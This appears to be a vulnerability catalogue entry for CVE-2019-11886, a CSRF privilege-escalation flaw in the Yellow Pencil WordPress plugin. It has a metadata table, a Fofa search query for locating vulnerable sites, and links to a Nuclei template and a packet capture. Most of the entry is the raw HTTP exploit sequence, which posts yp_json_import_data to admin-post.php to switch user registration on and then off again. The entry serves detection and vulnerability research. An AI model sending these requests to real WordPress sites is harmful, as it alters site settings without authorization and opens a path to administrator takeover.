| Title | Yellow Pencil Visual Theme Customizer < 7.2.1 - Privilege Escalation |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Unauthenticated attackers can exploit CSRF to escalate privileges to administrator level, gaining complete control over the WordPress site including content manipulation and user management. |
| Remediation | Upgrade to Yellow Pencil Visual Theme Customizer version 7.2.1 or later. |
| CVSS Score | 8.8 |
| EPSS Score | 0.28566 |
| CVE ID | CVE-2019-11886 |
| CWE ID | CWE-352 |
| Fofa Query | body="wp-content/plugins/yellow-pencil-visual-theme-customizer/" && body="wp-" |
| Tags | cve cve2019 wp wordpress wp-plugin yellow-pencil-visual-theme-customizer vkev vuln |
The WaspThemes Visual CSS Style Editor (aka yellow-pencil-visual-theme-customizer) plugin before 7.2.1 for WordPress allows yp_option_update CSRF, as demonstrated by use of yp_remote_get to obtain admin access.
POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
yp_json_import_data=[{"users_can_register":"MQ=="}]
GET /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2 rv:2.0; mai-IN) AppleWebKit/533.27.1 (KHTML, like Gecko) Version/5.0 Safari/533.27.1
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
yp_json_import_data=[{"users_can_register":"MA=="}]
GET /wp-login.php?38FWCWjAjMHNflepvWi1yic275S HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11886.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-11886.pcap
N/AN/A